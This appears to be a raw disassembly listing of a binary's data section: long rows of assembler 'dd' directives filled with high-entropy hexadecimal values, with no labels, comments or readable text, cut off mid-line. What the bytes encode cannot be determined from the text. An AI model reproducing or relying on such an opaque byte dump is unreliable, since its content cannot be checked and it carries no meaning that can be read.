59F8FA08h dd 0E414910Fh, 0D8DDC394h, 3ECAA007h, 75D89F43h, 0F4CFCB00h dd 0A66B1CDEh, 0FB2B0464h, 0D0DA56DFh, 0FF22526Ch, 0F476F800h dd 12DA8CCh, 801217C5h, 0DE92091Fh, 403A0F87h, 2BDC2CC6h dd 3153CB1Eh, 0F996E781h, 85F8CA7Ah, 33AF00C8h, 5624394Eh dd 20001E48h, 0F8995007h, 737E3Ah, 18BF4DC9h, 6635F32Ah dd 841E701h, 0C7A2FB2Ch, 275F770h, 0D0030BAEh, 0B4809205h dd 7E69646h, 0C8FF1B07h, 6B005AB2h, 1C30B33Dh, 80088C5Fh dd 0A552C72Eh, 0AE4C0C10h, 0F70074CDh, 130660EBh, 78181BC9h dd 0E2B0080h, 746DCE59h, 6600FCECh, 9B75383Ch, 1683B6Bh dd 0B3288325h, 0D0DF9E03h, 0F300606Ah, 5BEF9D67h, 8870ABh dd 0FCD9AD46h, 18133F9Ah, 299E7900h, 0FBDDB3A0h, 6FEEB8h dd 9399C308h, 0E3743554h, 43AD2C00h, 97733801h, 0CE66003Eh dd 0E88BFFC5h, 767956BDh, 0B3000FB0h, 1E8187DCh, 3AF3855Ah dd 4607A6CAh, 674EAAFEh, 2D829B5Eh, 654077F5h, 0C21E5674h dd 0D800F07Fh, 1761E5A3h, 47A70008h, 73C327BFh, 0A526DCC0h dd 69804854h, 94E01738h, 867F0098h, 7C3A06DDh, 0F2457CEh dd 4880803Fh, 0BF95D22Dh, 40FB49E6h, 683A4E02h, 78407BDCh dd 0F74CEFDBh, 9AB81F5Bh, 417E5740h, 9A739593h, 0B52100ACh dd 0E62CCB20h, 70789C3Fh, 0B14A403h, 0E0BE4173h, 60E2F946h dd 198798E1h, 70FB6C55h dd 53031733h, 0DE1A0BABh, 35701F80h, 0D01FC06Ah, 9A49AF74h dd 0B005D701h, 0BD22950Bh, 0F82AC4h, 626EC569h, 0A9726FD0h dd 0D6CF3Eh, 0C72FD3A2h, 2A581h, 76B87936h, 32D4225Ah dd 9EE6EC00h, 0CB0974F7h, 33210062h, 96B0F0B8h, 0E5003088h dd 5CC47A8Ch, 0F0077863h, 7B3C7C59h, 0DF75FFh, 98DC2B10h dd 0CDC9CC32h, 5E03BB1Dh, 0A789A2C0h, 0F063E014h, 5C3102EFh dd 2816CDC0h, 80229080h, 893A74A8h, 141C005Dh, 5AEB5EA7h dd 3E77C8h, 0D1F0D993h, 47D0D6C6h, 10004074h, 0FE9C8D91h dd 0F870FF5Bh, 9D2C01C3h, 8BD9EA17h, 204607Ch, 0AB3F730Eh dd 0AD304797h, 1D80019h, 2FB990EBh, 0C758E2D4h, 7D731B01h dd 6C029256h, 6B1821h, 0D51D4EFEh, 23002908h, 0DCFF5284h dd 1385CF62h, 455451h, 2B6CA7D4h, 300756BFh, 5963E42Ch dd 0CCC0B9C7h, 0E726DD8h, 3E1FA5Ah, 77CBD400h, 490F314h dd 0ACD63300h, 47E6AD20h, 624A0084h, 59100EA6h, 5E001DC4h dd 0AB25B995h, 1E8C7BA4h, 33D7C28h, 662171F9h, 0F4AFE9B1h dd 0F0011E97h, 3EB108FDh, 3C20E2BDh, 2A2F00EEh, 408439FCh dd 0A02CB059h, 7A1D346Eh, 0D50E82C2h, 6345E046h, 76D00061h dd 0FB19D97Eh, 0E5007738h, 0B7F08D1Dh, 30E7310h, 3F94916Eh dd 10B651DFh, 245B2E00h, 9B4B2B15h, 0CFE6005Ah, 0D8BA974Ah dd 0EA1F6ED2h, 8DC09657h, 0FA9DE8BCh, 7687150h, 64E4DEF0h dd 0C82322FEh, 70278460h, 60CBB407h, 0AD90E3ABh, 48F22BDAh dd 653F9CD0h, 0D42DA689h, 5FCE9010h, 0E70F4EFCh, 0D25062DAh dd 4B218C00h, 0EA4D3EDh, 166BB1A0h, 80341424h, 57CEA98h dd 0CD609424h, 0D46E0F00h, 1F6808FCh, 0DFB2B3E3h, 0C6EC4083h dd 8EAAC255h, 0F857EF00h, 81FD166Eh, 74CF008Dh, 0DE47786Ch dd 6989FAFh, 2818700Fh, 4B93C1B9h, 1060DDFBh, 7FBD008Ah dd 36AE5187h, 27B8F27Bh, 1A5F6D00h, 0D0E3B8CEh, 0A18700C1h dd 0A5EDF154h, 7D287124h, 0DC72E827h, 5315D100h, 95B2BCF5h dd 1EF63B6Bh, 40A3331Eh, 43FB48D6h, 0CB5D23D2h, 196400B8h dd 139714D7h, 9B91005Ch, 0E5C4F8ADh, 412E1D89h, 9980D895h dd 0E0D9B94Ch, 70B7376h, 0B4E8EB46h, 0C0A32004h, 594C9CD1h dd 23F000B8h, 78753B05h, 58BC59FEh, 0E302C84Dh, 0CB33D99Bh dd 61596940h, 25C54603h, 1D0FF48h, 4C01E368h, 98D720D3h dd 17483610h, 0F0A949E1h, 1F116D80h, 9EAA282h, 9EA57400h dd 52BA7DA0h, 7775B0B6h, 0B15A00D6h, 4AF97AFAh, 0DF1EEB2Eh dd 8041D7C5h, 0CE3D9A5h, 31F31AC4h, 9DCAE928h, 0E531C4F4h dd 0F200BBF4h, 81AE5551h, 25DBE7h, 0DE06EC3Fh, 0F5D04A43h dd 0E421A007h, 8190105Eh, 0E7753Ah, 91CA13EAh, 0A4800918h dd 30277801h, 94642115h, 93BF07C0h, 0A4E900D0h, 83A8A104h dd 15225300h, 0AFD22FD9h, 57E400C3h, 0EBE73941h, 0FC388CF9h dd 3DDC019Fh, 0AC1A4E7Ch, 1210E027h, 0E8750772h, 31A033C7h dd 2C25805Eh, 6014473Ah, 0A9261FB7h, 7F01300h, 3B4003B9h dd 1E90F241h, 0EE1C6EFh, 2E77248h, 2CE59166h, 0C0B830F3h dd 47A0726h, 38C2CB00h, 2431930Dh, 401440D5h, 0AB5CA109h dd 0C006CF6h, 962E862Ah, 2437A875h, 3A8D774h, 495BA784h dd 0B0D861F0h, 0F144D51Ch, 803AE7DCh, 9C984CE5h, 0F0A3EBh dd 0B0816F70h, 2559B7BDh, 0AE41C200h, 0EA493F5Dh, 51EB0096h dd 764AD8FCh, 0A9004495h, 8EF2A12Eh, 8C031Eh, 1DA868CAh dd 2B9A293Dh, 0F5B9C600h, 7E145E7Fh, 5277A1h, 81630E07h dd 2769CB24h, 96B5F200h, 797C9910h, 937B3EECh, 5B84DD80h dd 0F6AFAA57h, 811D0D00h, 742A6D39h, 0E30B0F2h, 0B52BFD9Ah dd 0B03C4467h, 0DA443AEh, 0EE381903h, 0F196E6F2h, 4F2097BAh dd 99663FB1h, 0D2E71A07h, 0F501E029h, 0C007920Dh, 6603AD7Ch dd 286C47F1h, 0CA0CC9F3h, 3BBA720h, 0D4E06577h, 310036EBh dd 0CAF75C98h, 0F47EE49Fh, 17683DEFh, 73FF4200h, 2003B4F0h dd 0D187DD00h, 2D75D71Dh, 9A480064h, 0F5D4EAF2h, 6F1DB4A2h dd 0AEC097ECh, 4C8F29D7h, 0AB9F1D20h, 8B71431Ah, 0EAC3AA5Eh dd 0C2B504B0h, 252E7D00h, 1F8F3CEDh, 339A2608h, 0A6DD0036h dd 474B9245h, 0B85E3E00h, 149776E8h, 13962E83h, 5B63003Bh dd 760223Ah, 0FB083467h, 0F0204F96h, 0EA667882h, 8A11C3ACh dd 1489C36Ah, 0FA9FF47Bh, 4C67600h, 2173C7EBh, 0BF260786h dd 50935950h, 2F6A968Ah, 0FD7543Ah, 2068034Fh, 85CDD1CBh dd 22785Fh, 243FC489h, 0B0D33E31h, 0B2711330h, 7A8E48Bh dd 7AE8EE28h, 275C8068h, 7F068E4Ah, 0E9F8B054h, 32DB040h dd 3E0EC048h, 34D09C27h, 74ACEA44h, 0F4CB21h, 0D541B394h dd 37009318h, 0E2C9FB7h, 176C64EBh, 0EF9B99D1h, 94C37B00h dd 3F6DDF7h, 369FC9B4h, 0C0BFD144h, 0F51B4154h, 3C9BCC00h dd 64D9C125h, 1E6C00A8h, 78E129A1h, 161CBDFCh, 6300F85Eh dd 0E099F90Ch, 0F30600B4h, 0EBA7A940h, 0CD777805h, 5CF548h dd 2B535DDBh, 0F4730691h, 358D002Dh, 5B601C1Bh, 681CD712h dd 0A500E3E2h, 40DBC48h, 7F1E00BAh, 9CC0E5C2h, 850ACCBh dd 692ECC8Ch, 0C502DAD3h, 40A5A892h, 79FF02h, 0C88095DCh dd 7A029C1Ah, 0DBA62918h, 0FE56330h, 38AC96BAh, 0F0865489h dd 2A7F7950h, 0EF94B500h, 0C9818E60h, 17AF2A3Ch, 328E8B0h dd 0FBBBC588h, 0E8B89AB9h, 0D9003225h, 60B820AEh, 0CFE3CCh dd 0B37873Fh, 62111438h, 6A418460h, 86BAE0h, 2D5FA505h dd 6107AF31h, 20652330h, 1D3668h, 4430A9F4h, 436D9916h dd 363F800h, 7B91F6BDh, 3AC2004Ah, 0AD901D74h, 9D00F383h dd 0F241AAE7h, 0E4A66E15h, 73C80C85h, 8BA4220Dh, 7ED2BA07h dd 5200A9E8h, 7AD574Fh, 8D8F5501h, 4E8343FCh, 28732007h dd 98111459h, 5ACCB48Bh, 32C80017h, 40E880A7h, 25071116h dd 0DF22C795h, 39D188Ch, 66832A06h, 87900AF5h, 6E0032FDh dd 3A8AC44Ah, 0C87DF4h, 0D8726DEDh, 7A2E3FA4h, 4A495E00h dd 0FD2160F2h, 0F01201F4h, 2A3DAEE9h, 9B19C2Eh, 9B58E501h dd 1080D8CBh, 0F879F1C6h, 0FA07664Ah, 8E2151A4h, 0A83FF43h dd 2CCEE620h, 0F5330180h, 0F0D3321Fh, 3C61C263h, 5BC4AC58h dd 0BA10285Fh, 4137C089h, 8712DEh, 9647CD67h, 61C41559h dd 0BD053F00h, 0EDC5C03Bh, 19A00731h, 50A609EBh, 47F4620Ah dd 87DAFE3Fh, 0CB448E8Fh, 0A6FC01F0h, 7C613CD6h, 62A5AD00h dd 4E75D51h, 0BD8A0C1h, 9443812Ah, 0B352D1C3h, 4E25C0h dd 8BDCE298h, 97AA2B5Bh, 0BB48A100h, 3F3141B0h, 0FAAB00A5h dd 306B4502h, 39002353h, 1983C3A3h, 0EA4344Ch, 79583EC4h dd 29D6079Eh, 0D1230E9h, 9E009989h, 0B5914A45h, 0E0FDFE83h dd 5E5A0011h, 3D30392Bh, 85008C61h, 9C44EE13h, 3BC9843Fh dd 7E00860Ah, 8E478A19h, 5B768D3Ah, 8109726Fh, 5F0A189Fh dd 25800D3h, 97A8161Fh, 2C0FA2B8h, 8771F387h, 8460A08Fh dd 3523F41h, 1F8609ACh, 50B06A1Eh, 7C0027C4h, 6DEBDEABh dd 0B25C60h, 0D35A9B8Eh, 92544780h, 0DE4EFF25h, 96803E14h dd 1273D65Fh, 177A7993h, 0C3C07F00h, 0B1A749ACh, 906660C1h dd 0C61F2463h, 326EA900h, 542775Ch, 84DA3BA4h, 8D80723Dh dd 6A926486h, 7E00D359h, 9F26EE01h, 2EFA8Fh, 4875148Eh dd 1208D2B3h, 8D0219F8h, 9D390E96h, 0ECBC80BBh, 1E2F1A5h dd 2CDF0236h, 0FBD50AFBh dd 70833498h, 0AD7E1900h, 0E456E180h, 8B991C7Dh, 2BE08001h dd 0A76DFE4Ch, 533A4A00h, 9E59B439h, 9FEB0005h, 0C5BED570h dd 7E1F3829h, 1600D2F8h, 7F8AB002h, 0D39F000Eh, 4C59BD9Bh dd 0AD028EB3h, 7B385E45h, 0C0A98F3Fh, 81EF4D3h, 0C6E082h dd 915AABCCh, 380B053h, 920240C0h, 1B4E19h, 5AA9D83Bh dd 719E0CF9h, 4BA0C900h, 0D98260B0h, 0B50D2915h, 7CD2C3Ch dd 0A5F6B34Dh, 103C103Fh, 3291F918h, 6B00C35Ch, 0E0756094h dd 0C5BA6Dh, 463870Eh, 6F818F61h, 0DC054D0Dh, 68A13814h dd 5AE45070h, 74009F42h, 0D0E0048Ch, 0F8C1A5FCh, 0D9B3237Bh dd 3E14D0h, 2EE717FDh, 41EAD41Bh, 0F31DB007h, 10C0CFDBh dd 389FE095h, 3985D934h, 87594D93h, 74484CE5h, 0A8E7C138h dd 520ECAC5h, 8C6BD492h, 7B807Ch, 1610DB96h, 8F35B685h dd 0C158FB07h, 99568A0Fh, 0EB4B14E8h, 0DC00B850h, 0E1BE42CFh dd 2C1D3C82h, 4780C9B6h, 0AB222B43h, 0B4F2AEh, 0B3BF8044h dd 3E692A7Dh, 905FBC00h, 0A573EB62h, 20420075h, 0F20E0ABFh dd 0FA0006B5h, 0C7944666h, 0AF63A9h, 927F64ACh, 42A29F30h dd 0DE54B703h, 0F09478C0h, 3F4C0Eh, 8A20F428h, 76FB5175h dd 2DE23701h, 0B4303146h, 370EAECh, 427C85Ch, 7FE1D70Ch dd 9322208Ah, 3BDD0700h, 7728CB6Bh, 0B0780FB5h, 0B3402429h dd 0DD9962EBh, 524C6400h, 7DE0CBE2h, 38A23FB0h, 0C7426680h dd 9007125Ah, 0A030CFE4h, 6ACA4064h, 0A8430EAAh, 5680324Ch dd 0DD6E12CCh, 0EEC7540Ch, 10681Ch, 0B433369Eh, 0E02CA5E4h dd 1890B93Ah, 1B202845h, 0B3640057h, 6282C7EAh, 0ED002763h dd 3E3CC602h, 7A8FC2h, 9B06E41h, 0A4CE3D55h, 86991C1Fh dd 5400763Ah, 0F7121F8Eh, 3AF1E6h, 6D93C065h, 330E3CDDh dd 9F128D8h, 9E893B27h, 107E4798h, 0A0005B15h, 0F7513193h dd 0CC49E40Bh, 0BE315908h, 0D8965C03h, 0C0ADF4E6h, 0BA76B5h dd 0DF4BCF1Fh, 0E96B83E8h, 0D30F0CFCh, 653322D8h, 1DB81E7Dh dd 79A6002h, 98A3BFB5h, 6888E5DBh, 887A0DD0h, 0E0A69600h dd 0D46A799Dh, 0F60C4A7h, 1C5D8434h, 0D63F80C0h, 0F465538Ch dd 57A9639h, 865B9DC6h, 334EFC0h, 3764C25h, 0B2009538h dd 32820B3Ch, 3AFC6E8Ah, 0BE836700h, 1D7A90E4h, 28FF0019h dd 0A960017Fh, 300E76Bh, 6E69CD2Fh, 85AFD7h, 0CC717EE8h dd 0AC757B36h, 0D52F4601h, 54D71CCBh, 0BA3B1C80h, 7FE1980Dh dd 56EE8D01h, 8F25CB6Fh, 9840ACC5h, 3ABD32AFh, 0E20F5450h dd 0D8C098D0h, 30E62C02h, 5607EFFCh, 0D9162F08h, 0CC67B280h dd 0FF8F4FBh, 662C9CECh, 8BC05A00h, 0A9009ED2h, 1C9D708Eh dd 0B1BC15h, 0FAB3D563h, 0D842545Eh, 0FBE22B00h, 0F52C1CADh dd 0E74AC04Eh, 95A71A53h, 0F33CC400h, 0F0B16E02h, 7D15008Eh dd 81A921CDh, 32009044h, 0A4AF97F9h, 0F4BD024h, 39772FD4h dd 899CCC60h, 7F0E5AC4h, 2C6E9Dh, 18277B14h, 0EFF71CF2h dd 9CD0DE39h, 0BE150011h, 0F6F96955h, 8090973Bh, 0C85FE9CAh dd 341C6C9h, 1935EF23h, 2FA796E0h, 38BA8261h, 1CB6D0A6h dd 7E8C316h, 55A74700h, 1F5B0E19h, 405276CBh, 27BD0381h dd 9100D7E5h, 0F1797CDh, 964B97Eh, 0B01A6918h, 46009109h dd 8460FF72h, 4B43581Eh, 68012DDDh, 0B4DC5719h, 1699CCh dd 6AE99155h, 0E52E31E6h, 95063907h, 0E3D01804h, 31CF434h dd 0FBDD592Fh, 58BE44F8h, 0D1FE7912h, 0C729B700h, 12AD59Eh dd 6774CCA2h, 0CEC6A97Ah, 3B21D480h, 0C800F73Eh, 6351A6A7h dd 330B8CFh, 1D0D5EDDh, 5CC9E0BCh, 55D5C884h, 484F3500h dd 0B250A93Ch, 53F0B0h, 826EFF83h, 0AEFBAD72h, 84005390h dd 2C099DFEh, 0F2D943AFh, 0F54900BDh, 0EE3E8CF8h, 0E300C4D7h dd 88339FB0h, 147EA2h, 0ED126C10h, 85D51BC5h, 82F6DE7Fh dd 61CBD618h, 6315F8h, 0AEF133Ah, 0A2018AA3h, 53F83600h dd 0F99F3237h, 116D00FFh, 0B6CBFEDh, 9A008864h, 7A817CC9h dd 1A132DAh, 0EB743606h, 810270A3h, 0D99D9F40h, 50D0D71Ah dd 1C7C39D3h, 83DA9E9Fh, 948A875Ah, 624992C8h, 0B8708D00h dd 0BF845E18h, 0A9F40FF7h, 0E580D0A5h, 0F92A030Fh, 48B4AD24h dd 8C017F3Bh, 0D5853034h, 0BDECD48Bh, 4FF800FFh, 0FE026FEDh dd 830E5B24h, 0C0D3695Fh, 16A1502Dh, 0FF2A1C35h, 9B2040A3h dd 9A75C54Fh, 5E8B6D09h, 41530091h, 1EFA4A2Dh, 26EB98Ch dd 0A43D70A9h, 0A848EC80h, 0C80034B3h, 7C87EE2Bh, 261CBE39h dd 3CE998F1h, 45301281h, 0E997B7E4h, 2A52F4D7h, 9300EBFAh dd 0BB0EF323h, 3E6BAA86h, 0B100CC24h, 0D026063Bh, 9807CE4Eh dd 0EA6CBE18h, 44559BF0h, 4F9201E0h, 4A02D4B0h, 67E87050h dd 60EAD900h, 0BD9084EDh, 8D9100A8h, 0C3FE665Fh, 961DEE04h dd 0C8006270h, 0B2585C1Bh, 771F00B3h, 0D6A71861h, 0CC002643h dd 0A6732CDh, 0DACE03h, 0D2AAC345h, 0FC9D6CB4h, 8381906Fh dd 98C4BAF8h, 0E0CBDD27h, 233F00F4h, 0CC1BC73Dh, 0E090A608h dd 5225810Eh, 434800Ch, 7961689h, 79B3673Ch, 0ECEB9017h dd 7F3D76E5h, 53360033h, 0CC6F2194h, 3C05003Ah, 0A6BD0FBCh dd 0C6005D73h, 0B1258CD2h, 7CBEE3EBh, 0BB690237h, 331CE76Ah dd 3EE55840h, 0D4869100h, 320E01B4h, 0F776079Ah, 0D3E838C5h dd 86B80A6Fh, 0FE00411Dh, 22B9842Bh, 0A4467Ah, 0F9F0F5A1h dd 0B0CED8AAh, 191C9878h, 873DA65Ah, 0B60DDBBBh, 8F6ABD21h dd 52C560h, 92B339F0h, 0D3FA269Eh, 9944DE00h, 12AA7283h dd 2D2E303Fh, 0F8EC6120h, 40B7B407h, 7EF72943h, 6E7CFEE0h dd 16E4EEEBh, 778BDBh, 6C4526B2h, 0E000CDDEh, 2365090Ch dd 0D11BE3h, 8E52493Bh, 0DA27379Dh, 0E02D991Fh, 0FC00F79Eh dd 7EBE8464h, 392F125Eh, 0AEEC02ECh, 0C841C7BBh, 0CA12FC23h dd 0F81DCFFEh, 4A40D8F9h, 4BD769B1h, 7C021F88h, 631C0761h dd 0F467000Eh, 7103C35Ah, 8A6A450Bh, 5C92C893h, 0CD830014h dd 4E3F3B6Fh, 5D006089h, 84541707h, 0F6729163h, 0A6964887h dd 318E026h, 8537A422h, 3D61AC90h, 0BB80981Ch, 0A3006BD7h dd 89173B70h, 0A0B50020h, 1D6E959Dh, 0DF0F1ACCh, 0E0BE4034h dd 0B63B9EE0h, 3694009Fh, 47A0CBFh, 2B1D3FD9h, 3A49A2E7h dd 0BB07DD92h, 0AEF2B009h, 6B004FFEh, 6E06046h, 2DCE67h dd 0C830D377h, 150B845Dh, 2FE86F02h, 68F72BFBh, 4A3FE24h dd 74DCC719h, 0FC58C0ACh, 974FF89Ah, 2E80E4C7h, 3DEB051h dd 550EF4C1h, 180057EBh, 0FA422930h, 5B0AECh, 99E0095Dh dd 0BEBFFC76h, 84984E00h, 0B8DC17D7h, 3C0EF271h, 9C83753Dh dd 46EE0BEDh, 0DB2E74F8h, 99594A1Ch, 89907F87h, 883E1E60h dd 11C60086h, 3ACBEA45h, 0A500D0A3h, 970DD31h, 0F6D4D6h dd 9C21904Eh, 6B8F5617h, 3E798401h, 14013410h, 334420h dd 7E8B5545h, 0A96CEF66h, 42D9CC00h, 1B5B29E5h, 897D11h dd 0C125BD27h, 1C7BA179h, 0A2727F00h, 7AD6AC28h, 8AF8E7h dd 0D1FC19CDh, 7F22EEF5h, 0C804E500h, 74914243h, 0DD5A00BAh dd 1D32E169h, 651D070Ah, 0A5C7E8A0h, 0DC6CA175h, 0EF4700F2h dd 59DDBF7h, 1603C2C8h, 59E2A314h, 6C4FE815h, 0C46B019Fh dd 5F947FCCh, 4FDCC87h, 8DE17226h, 0F983481Fh, 88C7610Fh dd 0F15B43h, 3C5D7B13h, 0FCB9FB71h, 1B9BDA00h, 9DBEA19h dd 46ED037Ah, 5A6A8A6Bh, 0F6A53CA0h, 6E513Ch, 2CC9F33Eh dd 2B7FC5h, 0EBFB5A7Bh dd 21C442C8h, 7656AA00h, 5585FF16h, 0D158009Fh, 0DE692589h dd 60983220h, 732D4000h, 0C91F01E0h, 78BBF428h, 0C675009Fh dd 89B6A83Ch, 0DD70DCA2h, 5B30E900h, 0E60BA7C2h, 0CD2C0063h dd 0AAC06669h, 53004516h, 0C5854022h, 705B1EFAh, 490E00C3h dd 8A58CC6Dh, 0D9005C66h, 177EAC2Ah, 0F8FF8883h, 50F2EBh dd 0D4B5CD94h, 0FAB043DCh, 351F3E0Eh, 3AD34322h, 688398D1h dd 142B00C5h, 85B065CEh, 9A076388h, 3E90E220h, 8D9259F3h dd 80DF0380h, 0D5EA0295h, 0E8887882h, 2374C060h, 0BC65D226h dd 432F4201h, 11C0EEF3h, 0EF9D0072h, 60B857C8h, 0DF1C4EA1h dd 8F1D30BAh, 0D52C4840h, 0F5C9FE5Bh, 677074h, 0E347EA7Ch dd 35CFE19Dh, 0A51D4B00h, 0FCA16B5h, 42020014h, 0B39A3F5Eh dd 0CB03972Ah, 0BCEC363Bh, 0E8178ADFh, 3C236D58h, 0F500FFBBh dd 5DEBD5CEh, 0DD002E5Ah, 0A3E27C83h, 0B006375Ch, 2A7F1418h dd 0DC00BFEBh, 0A0C216A5h, 3A38D605h, 0AAF060D7h, 98BA1D1Ch dd 0B4C3FBBh, 0F4BD688Fh, 8C6D5A80h, 91043FF7h, 0F63B4827h dd 61EA08C0h, 2AB70DCCh, 2096F8EEh, 0A0F1A34h, 0A73A6551h dd 0A3D1C950h, 5CE47C3Fh, 0F0275936h, 479FC406h, 9100C82Ah dd 0B5FF7D59h, 0F750E80Bh, 0EEC9BE1h, 21DC0061h, 0C5B7FCDh dd 0B50E3BF9h, 40532A9Dh, 6FAE8E46h, 594D009Fh, 0AAA8E632h dd 24004380h, 86C80B3Fh, 0E9AD7890h, 1C620h, 725C687Fh dd 9DAC60B6h, 38BCFE00h, 0CFF91F33h, 0E6EA8Ch, 3A2AD7B1h dd 0FF7ABFDBh, 21508F12h, 93C0531Eh, 386B5B0Bh, 0FC4F034h dd 2D4FFB27h, 0C9ECC0BFh, 1AB683F2h, 31DFA58h, 45B5697Bh dd 0D452A879h, 767E00FFh, 13A4D9ECh, 6A00068Ch, 6DCB920Dh dd 90179B8h, 2F957BD3h, 0AFD0E801h, 287C702Ch, 625CD90Ah dd 50269C67h, 2F60407h, 0C00F73A0h, 8654006Ah, 0AAAEB1C2h dd 361CC624h, 34001A5Eh, 0BEC3124Bh, 9F50091h, 19F490BDh dd 0AF3E3B07h, 0A7A50A0Dh, 5680DC14h, 97B292D9h, 52B90061h dd 0FC67C6CEh, 705837F5h, 84BE0920h, 3CB38017h, 51B4D8h dd 0C0C88A81h, 1433533Fh, 44A61501h, 0C45ECB5Fh, 0BA0AB080h dd 0E9CD8E4Ch, 94351100h, 6E1A4C5h, 0FF55025Bh, 1BA5C0F3h dd 7FA0C2h, 0CB3E0416h, 400260B9h, 5875C372h, 2CA2C21Fh dd 96009B92h, 53D23CEFh, 0A8CC00BEh, 23CBE109h, 0AD1F7AA7h dd 4A44973Eh, 0D8904BFBh, 7EE99BEh, 0C8A2BDDCh, 0A08EAB5Bh dd 96F9C5A0h, 21009A98h, 14716988h, 3D375ADEh, 2A804679h dd 0DDF77DA0h, 0E300F498h, 0AEDF3CF6h, 0B6A71h, 4D34990Eh dd 0D6B910DAh, 3D93D01Eh, 0A0D5248Fh, 7E46625Ah, 33690342h dd 256F3870h, 69C16D82h, 0F7988037h, 0B77B7866h, 9F7A0117h dd 9E51BADEh, 8739EC6Fh, 0C39B6300h, 0C7189ACFh, 0C87C024Fh dd 94FEDB0Eh, 1357ED60h, 0D4163900h, 30818E4h, 0F20A3AEEh dd 200E1F18h, 3F3A1B11h, 48BF8090h, 0DEC8DC3Ah, 0D43307ACh dd 0E0A15CA7h, 13424E5Eh, 0AA964701h, 85F560B4h, 66AB1682h dd 1CC01D08h, 570FFA76h, 60680E33h, 8F558C1Ch, 30E6A3h dd 832DF4A8h, 95C26F59h, 0A42485E0h, 0BF00B2DDh, 21CE8E79h dd 94A90C2Dh, 0B849EFF1h, 96332C77h, 0E272D91Fh, 4048108Fh dd 0B3B0E511h, 40593986h, 3EF656EEh, 477D6600h, 0A17F1553h dd 0F82A636Ch, 0FA81DE1h, 0DE00AAF0h, 0BEDD933Ah, 13FCC8Bh dd 3C012D42h, 0F5182F08h, 1E37E0F1h, 8CEBEC18h, 0E2BE10h dd 9977CF87h, 0FA824678h, 800E4FAh, 3DB43CD3h, 599E92h dd 4F1E0A11h, 9FEA320Ch, 14DC4A00h, 0EEACE1BDh, 6C04807h dd 9CC25407h, 0C66C431Eh, 575C2000h, 1AD93FFFh, 4B9018h dd 3B47125Ah, 42A0586Ch, 0AAE05798h, 15E20A00h, 0DE7213BFh dd 2CC13841h, 1E2B0074h, 0A2563FBDh, 7F38871Bh, 76037E2Dh dd 0E5E3A1C7h, 0D581E8A8h, 0AFE4005Fh, 0C2FC955Bh, 0DE0E0EFBh dd 134BB05h, 0F1A33207h, 0F6975C50h, 31940815h, 0FD42618Eh dd 5ACF0062h, 0CBB889F0h, 0D6708101h, 53BCE0C2h, 1DA51D0h dd 0FEBA1397h, 0C039C35Ch, 990569E3h, 0CB368083h, 0BEDE4381h dd 8EDCC1C1h, 35AA0CD5h, 0D6D82EFEh, 0EC818800h, 2048A8D7h dd 66A01D44h, 76434F67h, 905AF3C7h, 7FAC38FDh, 5BA2B11Ch dd 18BC54C0h, 1D372h, 0DDD40409h, 9ABA65C3h, 52B03Bh, 14F085A9h dd 811F4Dh, 0FA7D1C12h, 0E0913DB6h, 0E062FDEFh, 0F2A0ACD4h dd 0BD00F8FCh, 75B7C83Eh, 0A7EFECh, 9AA59138h, 0D5DCD2D9h dd 7B880D00h, 59C797E7h, 903A7A66h, 7AB200FBh, 7ECD45FDh dd 0C1EEE6B8h, 701DDD03h, 0F03CAD3Ah, 2EAE3BA1h, 0D3D2E1h dd 27BC0EC7h, 9B004D70h, 2658C1A9h, 75EDD7Fh, 0F45218E8h dd 96783031h, 0F901B7CEh, 0EC3C16E0h, 0BBD0C56Ch, 0F8D900B2h dd 0CBD4F0E9h, 0E3002D79h, 1D44A41Bh, 0F8F921AFh, 677F00B2h dd 102F0F1Eh, 197C546Dh, 0B951D700h, 295FA148h, 6240C0F8h dd 92773BC1h, 3ECAF403h, 1DDF766Ah, 18C4F59h, 0CE31C96h dd 298B10F3h, 56218119h, 90058A4h, 721DDFF6h, 405EBE14h dd 0E7021B7Dh, 763EC518h, 0BBAF107Ch, 0CC46B789h, 0B0530159h dd 0D5102C89h, 20CD08CBh, 0D028DE18h, 0FB2258DFh, 0DA22191h dd 8412BF0Ah, 8B4B1FBCh, 0FD971020h, 0D0493B10h, 0D62F452Ch dd 2ECE42CBh, 0AF5E202Ch, 3E8E3EC9h, 0D12DB93h, 16C40ABAh dd 0B4BD00ACh, 0A968D207h, 0C498C816h, 8847511Ch, 0E4101404h dd 0A1E957Ah, 2E3E3B83h, 0FC600094h, 33047C13h, 0C1DB98A8h dd 9BC27A05h, 0EC003DA4h, 2C4B720Ch, 7600E57h, 0A2610F6Eh dd 0E8A5F8CDh, 9B00AA3Bh, 0ADAE1D43h, 0E2CA4Bh, 0F44A8499h dd 19A9651Bh, 2A3D7005h, 0D4033F4Dh, 0C02710DBh, 2F9A4Eh dd 0C354659Bh, 31A83D86h, 0D538D900h, 10D1CE19h, 79D000BCh dd 0D48E9C42h, 8798811Ah, 0DE844003h, 0CC43D55Ch, 0F5C0B0C0h dd 29D70054h, 0FCEBD013h, 6500E8A6h, 8E9477FBh, 7E72BB26h dd 8A0F00A9h, 0D5151317h, 7D001232h, 5297FD50h, 75EE67Fh dd 0A0BBB5B3h, 984F8F4Dh, 0DEB6BF40h, 1600B268h, 7EC209AFh dd 0EB3AD9h, 71C6FECCh, 0A236BA12h, 0F138A378h, 0C24D0005h dd 7043908h, 2F670014h, 3B6E02D4h, 3700762Eh, 696A8D19h dd 7C96538h, 0B6528EE6h, 583B103Ch, 0B400A2B5h, 254D87ABh dd 3B01B9AEh, 0A7CCBDA3h, 460F1607h, 309117D9h, 0FEF333C1h dd 8AC1D00h, 4A13DBA4h, 90BEh, 9C12AB72h, 8E695121h, 1D2E2B00h dd 0D6A1B06Ah, 8559320Ch, 0FA110F29h, 9E72E07Fh, 29BAF631h dd 5310AB15h, 1604E3DFh, 13832351h, 42BB6204h, 0E2577EEh dd 0C688DA88h, 41CE8880h, 519D088Ch, 0DC89761Bh, 29705878h dd 9489B41Ah, 7F0107E5h, 0C85180D0h, 9E3E6130h, 0F414A0A6h dd 0C351C242h, 0B100970Eh, 28471D62h, 3050529Eh, 0E729548Bh dd 217F8607h, 257F9100h, 0A22E9676h, 3EFB0353h, 1EA49003h dd 0BB804B8Fh, 2376F6C0h, 0C2B89500h, 0A2AABCAh, 606C00B3h dd 4AE9B904h, 977BBCE8h, 53C59100h, 0D2F4C0DAh, 3DDF070Eh dd 73BF7AD8h, 0A1B85699h, 0AB004A1Eh, 2772772Eh, 0AD3FEh dd 0A70BB633h, 0FB40539h, 0D9388003h, 0C02B94F2h, 0B2151Eh dd 0C82DDAFAh, 16650D4Bh, 0C1B9DF00h, 0F7516C4Dh, 7B6E00FEh dd 8F260882h, 